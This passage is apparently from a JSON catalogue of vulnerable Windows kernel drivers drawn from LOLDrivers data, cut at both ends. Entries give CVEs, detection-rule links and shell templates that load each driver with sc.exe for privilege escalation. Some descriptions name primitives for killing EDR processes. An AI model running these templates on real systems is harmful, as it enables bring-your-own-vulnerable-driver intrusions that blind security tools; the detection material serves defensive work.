          "sc.exe create gameink.sys binPath=C:\\windows\\temp\\gameink.sys type=kernel && sc.exe start gameink.sys"
        ]
      }
    ],
    "name": "gameink.sys",
    "namespace": "windows:kernel:gameink",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create GameTerSafe.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\GameTerSafe.sys     type=kernel type=kernel && sc.exe start GameTerSafe.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver GameTerSafe.sys\"\n\n# GameTerSafe.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-gametersafe.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create GameTerSafe.sys binPath=C:\\windows\\temp\\GameTerSafe.sys     type=kernel type=kernel && sc.exe start GameTerSafe.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-gametersafe",
    "install": [
      {
        "method": "custom",
        "description": "Load GameTerSafe.sys kernel driver",
        "commands": [
          "sc.exe create GameTerSafe.sys binPath=C:\\windows\\temp\\GameTerSafe.sys     type=kernel type=kernel && sc.exe start GameTerSafe.sys"
        ]
      }
    ],
    "name": "GameTerSafe.sys",
    "namespace": "windows:kernel:gametersafe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create gdrv.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\gdrv.sys type=kernel && sc.exe start gdrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver gdrv.sys\"\n\n# gdrv.sys\n\ngdrv.sys is vulnerable to multiple CVEs: CVE-2018-19320, CVE-2018-19322, CVE-2018-19323, CVE-2018-19321. Read/Write Physical memory, read/write to/from IO ports, exposes ring0 memcpy-like functionality,  read and write Machine Specific Registers (MSRs). Affected versions: GIGABYTE APP Center v1.05.21 and previous, AORUS GRAPHICS ENGINE v1.33 and previous, XTREME GAMING ENGINE v1.25 and previous, OC GURU II v2.08\n\n**Use Case:** Elevate privileges, tamper with PPL or system processes\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-gdrv.md",
    "author": "Michael Haag, rasta-mouse, goosvorbook",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "gdrv.sys is vulnerable to multiple CVEs: CVE-2018-19320, CVE-2018-19322, CVE-2018-19323, CVE-2018-19321. Read/Write Physical memory, read/write to/from IO ports, exposes ring0 memcpy-like functionality,  read and write Machine Specific Registers (MSRs). Affected versions: GIGABYTE APP Center v1.05.21 and previous, AORUS GRAPHICS ENGINE v1.33 and previous, XTREME GAMING ENGINE v1.25 and previous, OC GURU II v2.08",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/ff6729518a380bf57f1bc6f1ec0aa7f3012e1618b8d9b0f31a61d299ee2b4339.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create gdrv.sys binPath=C:\\windows\\temp\\gdrv.sys type=kernel && sc.exe start gdrv.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "requires-root"
    ],
    "id": "windows-kernel-gdrv",
    "install": [
      {
        "method": "custom",
        "description": "Load gdrv.sys kernel driver",
        "commands": [
          "sc.exe create gdrv.sys binPath=C:\\windows\\temp\\gdrv.sys type=kernel && sc.exe start gdrv.sys"
        ]
      }
    ],
    "name": "gdrv.sys",
    "namespace": "windows:kernel:gdrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/hoangprod/DanSpecial"
      },
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      },
      {
        "label": "Reference",
        "url": "https://www.secureauth.com/labs/advisories/gigabyte-drivers-elevation-privilege-vulnerabilities"
      },
      {
        "label": "Reference",
        "url": "https://medium.com/@fsx30/weaponizing-vulnerable-driver-for-privilege-escalation-gigabyte-edition-e73ee523598b"
      },
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      },
      {
        "label": "Reference",
        "url": "https://github.com/hmnthabit/CVE-2018-19320-LPE"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create GEDevDrvSYS binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\GEDevDrvSYS.sys type=kernel && sc.exe start GEDevDrvSYS\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver GEDevDrv.SYS\"\n\n# GEDevDrv.SYS\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-gedevdrv.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create GEDevDrvSYS binPath= C:\\windows\\temp\\GEDevDrvSYS.sys type=kernel && sc.exe start GEDevDrvSYS",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-gedevdrv",
    "install": [
      {
        "method": "custom",
        "description": "Load GEDevDrv.SYS kernel driver",
        "commands": [
          "sc.exe create GEDevDrvSYS binPath= C:\\windows\\temp\\GEDevDrvSYS.sys type=kernel && sc.exe start GEDevDrvSYS"
        ]
      }
    ],
    "name": "GEDevDrv.SYS",
    "namespace": "windows:kernel:gedevdrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create gftkyj64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\gftkyj64.sys type=kernel && sc.exe start gftkyj64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver gftkyj64.sys\"\n\n# gftkyj64.sys\n\nSentinelOne has observed prominent threat actors abusing legitimately signed Microsoft drivers in active intrusions into telecommunication, BPO, MSSP, and financial services businesses.\nInvestigations into these intrusions led to the discovery of POORTRY and STONESTOP malware, part of a small toolkit designed to terminate AV and EDR processes.\nWe first reported our discovery to Microsoft’s Security Response Center (MSRC) in October 2022 and received an official case number (75361). Today, MSRC released an associated advisory under ADV220005.\nThis research is being released alongside Mandiant, a SentinelOne technology and incident response partner. \n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-gftkyj64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "SentinelOne has observed prominent threat actors abusing legitimately signed Microsoft drivers in active intrusions into telecommunication, BPO, MSSP, and financial services businesses. Investigations into these intrusions led to the discovery of POORTRY and STONESTOP malware, part of a small toolkit designed to terminate AV and EDR processes. We first reported our discovery to Microsoft’s Security Response Center (MSRC) in October 2022 and received an official case number (75361). Today, MSR...",
    "execution": {
      "template": "sc.exe create gftkyj64.sys binPath=C:\\windows\\temp\\gftkyj64.sys type=kernel && sc.exe start gftkyj64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-gftkyj64",
    "install": [
      {
        "method": "custom",
        "description": "Load gftkyj64.sys kernel driver",
        "commands": [
          "sc.exe create gftkyj64.sys binPath=C:\\windows\\temp\\gftkyj64.sys type=kernel && sc.exe start gftkyj64.sys"
        ]
      }
    ],
    "name": "gftkyj64.sys",
    "namespace": "windows:kernel:gftkyj64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.sentinelone.com/labs/driving-through-defenses-targeted-attacks-leverage-signed-malicious-microsoft-drivers/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create GGProtect64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\GGProtect64.sys type=kernel && sc.exe start GGProtect64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver GGProtect64.sys\"\n\n# GGProtect64.sys\n\nGGProtect64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ggprotect64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "GGProtect64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create GGProtect64 binPath=C:\\windows\\temp\\GGProtect64.sys type=kernel && sc.exe start GGProtect64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-ggprotect64",
    "install": [
      {
        "method": "custom",
        "description": "Load GGProtect64.sys kernel driver",
        "commands": [
          "sc.exe create GGProtect64 binPath=C:\\windows\\temp\\GGProtect64.sys type=kernel && sc.exe start GGProtect64"
        ]
      }
    ],
    "name": "GGProtect64.sys",
    "namespace": "windows:kernel:ggprotect64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create gibepext binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\gibepext.sys type=kernel && sc.exe start gibepext\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver gibepext.sys\"\n\n# gibepext.sys\n\ngibepext.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-gibepext.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "gibepext.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create gibepext binPath=C:\\windows\\temp\\gibepext.sys type=kernel && sc.exe start gibepext",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-gibepext",
    "install": [
      {
        "method": "custom",
        "description": "Load gibepext.sys kernel driver",
        "commands": [
          "sc.exe create gibepext binPath=C:\\windows\\temp\\gibepext.sys type=kernel && sc.exe start gibepext"
        ]
      }
    ],
    "name": "gibepext.sys",
    "namespace": "windows:kernel:gibepext",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create GLCKIO2.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\GLCKIO2.sys type=kernel && sc.exe start GLCKIO2.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver GLCKIO2.sys\"\n\n# GLCKIO2.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-glckio2.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create GLCKIO2.sys binPath=C:\\windows\\temp\\GLCKIO2.sys type=kernel && sc.exe start GLCKIO2.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-glckio2",
    "install": [
      {
        "method": "custom",
        "description": "Load GLCKIO2.sys kernel driver",
        "commands": [
          "sc.exe create GLCKIO2.sys binPath=C:\\windows\\temp\\GLCKIO2.sys type=kernel && sc.exe start GLCKIO2.sys"
        ]
      }
    ],
    "name": "GLCKIO2.sys",
    "namespace": "windows:kernel:glckio2",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create GlobalVistaVentures_v3 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\GlobalVistaVentures_v3.sys type=kernel && sc.exe start GlobalVistaVentures_v3\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver GlobalVistaVentures_v3.sys\"\n\n# GlobalVistaVentures_v3.sys\n\nGlobalVistaVentures_v3.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-globalvistaventures-v3.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "GlobalVistaVentures_v3.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create GlobalVistaVentures_v3 binPath=C:\\windows\\temp\\GlobalVistaVentures_v3.sys type=kernel && sc.exe start GlobalVistaVentures_v3",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-globalvistaventures-v3",
    "install": [
      {
        "method": "custom",
        "description": "Load GlobalVistaVentures_v3.sys kernel driver",
        "commands": [
          "sc.exe create GlobalVistaVentures_v3 binPath=C:\\windows\\temp\\GlobalVistaVentures_v3.sys type=kernel && sc.exe start GlobalVistaVentures_v3"
        ]
      }
    ],
    "name": "GlobalVistaVentures_v3.sys",
    "namespace": "windows:kernel:globalvistaventures-v3",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create gmer64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\gmer64.sys type=kernel && sc.exe start gmer64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver gmer64.sys\"\n\n# gmer64.sys\n\nDriver used by the GMER application. Which is an application that detects and removes rootkits\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-gmer64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used by the GMER application. Which is an application that detects and removes rootkits",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/18c909a2b8c5e16821d6ef908f56881aa0ecceeaccb5fa1e54995935fcfd12f7.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_mal_drivers_strict.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create gmer64.sys binPath=C:\\windows\\temp\\gmer64.sys type=kernel && sc.exe start gmer64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-gmer64",
    "install": [
      {
        "method": "custom",
        "description": "Load gmer64.sys kernel driver",
        "commands": [
          "sc.exe create gmer64.sys binPath=C:\\windows\\temp\\gmer64.sys type=kernel && sc.exe start gmer64.sys"
        ]
      }
    ],
    "name": "gmer64.sys",
    "namespace": "windows:kernel:gmer64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/55#issuecomment-1537161951"
      },
      {
        "label": "Reference",
        "url": "http://www.gmer.net/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/gtworek/PSBits/blob/master/Misc/KillWithLolDriver.ps1"
      },
      {
        "label": "Reference",
        "url": "https://github.com/ZeroMemoryEx/Blackout"
      },
      {
        "label": "Reference",
        "url": "https://github.com/b1-team/superman"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create goad.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\goad.sys type=kernel && sc.exe start goad.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver goad.sys\"\n\n# goad.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-goad.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create goad.sys binPath=C:\\windows\\temp\\goad.sys type=kernel && sc.exe start goad.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-goad",
    "install": [
      {
        "method": "custom",
        "description": "Load goad.sys kernel driver",
        "commands": [
          "sc.exe create goad.sys binPath=C:\\windows\\temp\\goad.sys type=kernel && sc.exe start goad.sys"
        ]
      }
    ],
    "name": "goad.sys",
    "namespace": "windows:kernel:goad",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/jbaines-r7/dellicious"
      },
      {
        "label": "Reference",
        "url": "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create GoFly64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\GoFly64.sys type=kernel && sc.exe start GoFly64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver GoFly64.sys\"\n\n# GoFly64.sys\n\nGoFly64.sys is a WFP (Windows Filtering Platform) network filter driver signed by a Chinese software company (南京偲言睿网络科技有限公司 / Nanjing Siyanrui Network Technology) that exposes 20+ IOCTLs to usermode with no authentication. The most critical primitive is IOCTL 0x12227A which opens any process by PID via ZwOpenProcess and terminates it via ZwTerminateProcess, enabling kernel-level EDR/AV process killing. Additional capabilities include WFP-based network traffic interception and packet injection (FwpsInjectNetworkSendAsync, FwpsInjectNetworkReceiveAsync), IPv4 traffic redirection (IOCTL 0x122262 via RtlIpv4StringToAddressA), process creation monitoring (PsSetCreateProcessNotifyRoutineEx), image load monitoring (PsSetLoadImageNotifyRoutine), and kernel-mode file write operations. VT shows 88 malicious execution parents including malware droppers and PowerShell scripts, confirming heavy abuse in the wild for BYOVD attacks. Also distributed as PandaSpeed64.sys and drv_02581.sys.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-gofly64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "GoFly64.sys is a WFP (Windows Filtering Platform) network filter driver signed by a Chinese software company (南京偲言睿网络科技有限公司 / Nanjing Siyanrui Network Technology) that exposes 20+ IOCTLs to usermode with no authentication. The most critical primitive is IOCTL 0x12227A which opens any process by PID via ZwOpenProcess and terminates it via ZwTerminateProcess, enabling kernel-level EDR/AV process killing. Additional capabilities include WFP-based network traffic interception and packet injection...",
    "execution": {
      "template": "sc.exe create GoFly64 binPath=C:\\windows\\temp\\GoFly64.sys type=kernel && sc.exe start GoFly64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-gofly64",
    "install": [
      {
        "method": "custom",
        "description": "Load GoFly64.sys kernel driver",
        "commands": [
          "sc.exe create GoFly64 binPath=C:\\windows\\temp\\GoFly64.sys type=kernel && sc.exe start GoFly64"
        ]
      }
    ],
    "name": "GoFly64.sys",
    "namespace": "windows:kernel:gofly64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/299"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create gpcidrv64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\gpcidrv64.sys type=kernel && sc.exe start gpcidrv64.sys\"\n\n# gpcidrv64.sys\n\n**Use Case:** firmware erasing/modification\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1542\n",
    "_source": "windows-kernel-gpcidrv64.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "firmware erasing/modification",
    "execution": {
      "template": "sc.exe create gpcidrv64.sys binPath=C:\\windows\\temp\\gpcidrv64.sys type=kernel && sc.exe start gpcidrv64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-gpcidrv64",
    "install": [
      {
        "method": "custom",
        "description": "Load gpcidrv64.sys kernel driver",
        "commands": [
          "sc.exe create gpcidrv64.sys binPath=C:\\windows\\temp\\gpcidrv64.sys type=kernel && sc.exe start gpcidrv64.sys"
        ]
      }
    ],
    "name": "gpcidrv64.sys",
    "namespace": "windows:kernel:gpcidrv64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/ucsb-seclab/popkorn-artifact/tree/main/evaluation"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create GPU-Z.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\GPU-Z.sys type=kernel && sc.exe start GPU-Z.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver GPU-Z.sys\"\n\n# GPU-Z.sys\n\nUtilized in RealBlindingEDR. \n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-gpu-z.md",
    "author": "goosvorbook",
